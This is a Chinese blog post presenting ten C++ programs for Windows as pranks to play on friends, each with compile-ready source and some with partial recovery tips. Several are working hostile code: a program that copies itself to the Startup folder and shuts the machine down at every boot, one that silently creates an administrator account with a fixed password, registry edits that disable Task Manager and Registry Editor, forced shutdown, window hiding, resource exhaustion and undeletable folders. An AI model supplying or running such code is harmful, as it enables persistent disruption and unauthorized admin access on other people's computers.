十个C++恶搞朋友的代码合集

注:以下代码应勿用于非法(Dev-c++5.11实测可用)

0.无限生成cmd

解决方法:关闭程序即可

Code:

#include<bits/stdc++.h>
#include<windows.h>
using namespace std;
int main()
{
 while(1)system("start cmd");
}

1.使鼠标所点应用消失

解决方法:暂无

Code:

#include<bits/stdc++.h>
#include<windows.h>
using namespace std;
int main()
{
 while(1)
 {
 HWND hWnd=GetForegroundWindow();
 ShowWindow(hWnd,SW_HIDE);
 } 
}

2.使鼠标乱飞

解决方法:任务管理器(Ctrl+Alt+Delete)用方向键选该程序,点击Delete关闭

Code:

#include<bits/stdc++.h>
#include<windows.h>
using namespace std;
int main()
{
 while(1)
 {
 SetCursorPos(rand()%1000,rand()%1000);
 } 
}

3.立刻或定时关机

解决方法:cmd(Win+R,输入:cmd),输入shutdown -a

Code:

#include<bits/stdc++.h>
#include<windows.h>
using namespace std;
int main()
{
 system("shutdown -s -t 60");->1分钟
 system("shutdown -p");->立刻
}

4.卡死

注意:Windows高版本可能没有作用

解决方法:任务管理器(Ctrl+Alt+Delete)用方向键选该程序,点击Delete关闭

Code:

#include<bits/stdc++.h>
#include<windows.h>
using namespace std;
int main()
{
 while(1)malloc(1000);
}

警告:从5.开始为危险/永久性程序,请慎重使用

5.开机即关机

提示:操作启动项,可能被杀毒软件拦截

解决方法:杀毒软件

Code:(保存在C:\main.cpp,编译后生成C:\main.exe,也可更改18行代码)

#include <stdio.h>
#include <windows.h>
#include <Shlobj.h>
#pragma comment(lib, "shell32.lib")
 
BOOL AutoRun_Startup(char *lpszSrcFilePath, char *lpszDestFileName)
{
 char szStartupPath[MAX_PATH] = { 0 };
 char szDestFilePath[MAX_PATH] = { 0 };
 SHGetSpecialFolderPath(NULL, szStartupPath, CSIDL_STARTUP, TRUE);
 wsprintf(szDestFilePath, "%s\\%s", szStartupPath, lpszDestFileName);
 CopyFile(lpszSrcFilePath, szDestFilePath, FALSE);
 return TRUE;
}
 
int main(int argc, char * argv[])
{
 AutoRun_Startup("c://main.exe", "main.exe");
 system("shutdown /p");
 return 0;
}

6.添加用户

提示:可能被杀毒软件拦截

解决方法:杀毒软件

Code:

#include <stdio.h>
#include <assert.h>
#include <windows.h> 
#include <lm.h>
#pragma comment(lib,"netapi32")
void AddUser(LPWSTR UserName, LPWSTR Password)
{
 USER_INFO_1 user;
 user.usri1_name = UserName;
 user.usri1_password = Password;
 user.usri1_priv = USER_PRIV_USER;
 user.usri1_home_dir = NULL;
 user.usri1_comment = NULL;
 user.usri1_flags = UF_SCRIPT;
 user.usri1_script_path = NULL;
 if (NetUserAdd(NULL, 1, (LPBYTE)&user, 0) == NERR_Success)
 printf("创建用户完成 \n");
 LOCALGROUP_MEMBERS_INFO_3 account;
 account.lgrmi3_domainandname = user.usri1_name;
 if (NetLocalGroupAddMembers(NULL, L"Administrators", 3, (LPBYTE)&account, 1) == NERR_Success)
 printf("添加到组完成 \n");
}
void EnumUser()
{
 LPUSER_INFO_0 pBuf = NULL;
 LPUSER_INFO_0 pTmpBuf;
 DWORD dwLevel = 0;
 DWORD dwPrefMaxLen = MAX_PREFERRED_LENGTH;
 DWORD dwEntriesRead = 0, dwTotalEntries = 0, dwResumeHandle = 0;
 DWORD i;
 NET_API_STATUS nStatus;
 LPTSTR pszServerName = NULL;
 
 do
 {
 nStatus = NetUserEnum((LPCWSTR)pszServerName, dwLevel, FILTER_NORMAL_ACCOUNT,
 (LPBYTE*)&pBuf, dwPrefMaxLen, &dwEntriesRead, &dwTotalEntries, &dwResumeHandle);
 
 if ((nStatus == NERR_Success) || (nStatus == ERROR_MORE_DATA))
 {
 if ((pTmpBuf = pBuf) != NULL)
 {
 for (i = 0; (i < dwEntriesRead); i++)
 {
 assert(pTmpBuf != NULL);
 
 if (pTmpBuf == NULL)
 {
 break;
 }
 wprintf(L"%s\n", pTmpBuf->usri0_name, pTmpBuf);
 pTmpBuf++;
 }
 }
 }
 
 if (pBuf != NULL)
 {
 NetApiBufferFree(pBuf);
 pBuf = NULL;
 }
 } while (nStatus == ERROR_MORE_DATA);
 NetApiBufferFree(pBuf);
}
 
int main(int argc, char *argv[])
{
 AddUser(L"lyshark", L"123123");
 EnumUser();
 
 system("pause");
 return 0;
}

7.禁用任务管理器

提示:可能被杀毒软件拦截

Code:

#include <stdio.h>
#include <windows.h> 
int main()
{
 HKEY hkey;
 DWORD value = 1;
 RegCreateKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", &hkey);
 RegSetValueEx(hkey, "DisableTaskMgr", NULL, REG_DWORD, (LPBYTE)&value, sizeof(DWORD));
 RegCloseKey(hkey);
 return 0;
}

8.禁用注册表

提示:可能被杀毒软件拦截

Code:

#include <stdio.h>
#include <windows.h> 
int main()
{
 HKEY hkey;
 DWORD value = 1;
 RegCreateKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", &hkey);
 RegSetValueEx(hkey, "DisableRegistryTools", NULL, REG_DWORD, (LPBYTE)&value, sizeof(DWORD));
 RegCloseKey(hkey);
 return 0;
}

9.桌面壁纸

Code:

#include <stdio.h>
#include <windows.h> 
int main()
{
 DWORD value = 1;
 HKEY hkey;
 RegCreateKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", &hkey);
 RegSetValueEx(hkey, "Wallpaper", NULL, REG_SZ, (unsigned char *)"c://", 3);
 RegSetValueEx(hkey, "WallpaperStyle", NULL, REG_DWORD, (LPBYTE)&value, sizeof(DWORD));
 return 0;
}

10.不可删除文件

解决方法:将51-52行换成52行

Code:

#include <stdio.h>
#include <shlobj.h>
#include <windows.h>
 
// 添加不可删除文件
BOOL SetImmunity(char *FilePath,char *FileName)
{
 char file[2048] = { 0 };
 
 strncpy(file, FilePath, strlen(FilePath));
 strcat(file, FileName);
 BOOL bRet = CreateDirectory(file, NULL);
 if (bRet)
 {
 strcat(file, "\\anti...\\");
 bRet = CreateDirectory(file, NULL);
 if (bRet)
 {
 SetFileAttributes(file, FILE_ATTRIBUTE_HIDDEN);
 return TRUE;
 }
 }
 return FALSE;
}
void ClearImmunity(char *FilePath, char *FileName)
{
 char file[2048] = { 0 };
 
 strncpy(file, FilePath, strlen(FilePath));
 strcat(file, FileName);
 
 strcat(file, "\\anti...\\");
 RemoveDirectory(file);
 
 ZeroMemory(file, MAX_PATH);
 strncpy(file, FilePath, strlen(FilePath));
 strcat(file, FileName);
 RemoveDirectory(file);
}
 
int main(int argc, char * argv[])
{
 char *Fuk[4] = { "你", "好", "世", "界" };
 int FukLen = sizeof(Fuk) / sizeof(int);
 
 TCHAR Destop[MAX_PATH];
 SHGetSpecialFolderPath(NULL, Destop, CSIDL_DESKTOP, FALSE); 
 
 for (int x = 0; x < FukLen; x++)
 {
 SetImmunity("c://", Fuk[x]);
 //ClearImmunity("c://", Fuk[x]);
 }
 
 system("pause");
 return 0;
}
作者:wangyuhan2010原文地址:https://blog.csdn.net/wangyuhan2010/article/details/128836690

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